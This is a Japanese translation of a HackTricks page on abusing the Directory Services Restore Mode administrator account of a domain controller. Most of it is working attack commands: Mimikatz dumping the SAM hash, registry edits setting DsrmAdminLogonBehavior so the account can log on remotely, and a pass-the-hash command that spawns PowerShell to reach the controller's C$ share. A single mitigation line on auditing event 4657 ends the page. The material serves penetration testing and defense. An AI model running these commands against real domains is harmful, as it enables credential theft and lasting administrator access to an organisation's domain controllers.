hacktricks/windows-hardening/active-directory-methodology/dsrm-credentials.md
2023-07-07 23:42:27 +00:00

5.7 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DSRMの資格情報

DCにはローカル管理者アカウントがあります。このマシンで管理者権限を持っている場合、mimikatzを使用してローカル管理者のハッシュをダンプすることができます。その後、レジストリを変更してこのパスワードをアクティベートし、このローカル管理者ユーザーにリモートでアクセスできるようにします。
まず、DC内のローカル管理者ユーザーのハッシュダンプする必要があります:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

次に、そのアカウントが機能するかどうかを確認し、レジストリキーの値が「0」であるか存在しない場合は、「2」に設定する必要があります

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

次に、PTHを使用してC$の内容をリストしたり、シェルを取得したりすることができます。注意点として、PTHでそのハッシュをメモリ内に持つ新しいPowerShellセッションを作成する場合、「ドメイン」にはDCマシンの名前だけが使用されることに注意してください。

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

詳細については、https://adsecurity.org/?p=1714https://adsecurity.org/?p=1785を参照してください。

緩和策

  • イベントID 4657 - HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehaviorの作成/変更の監査
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥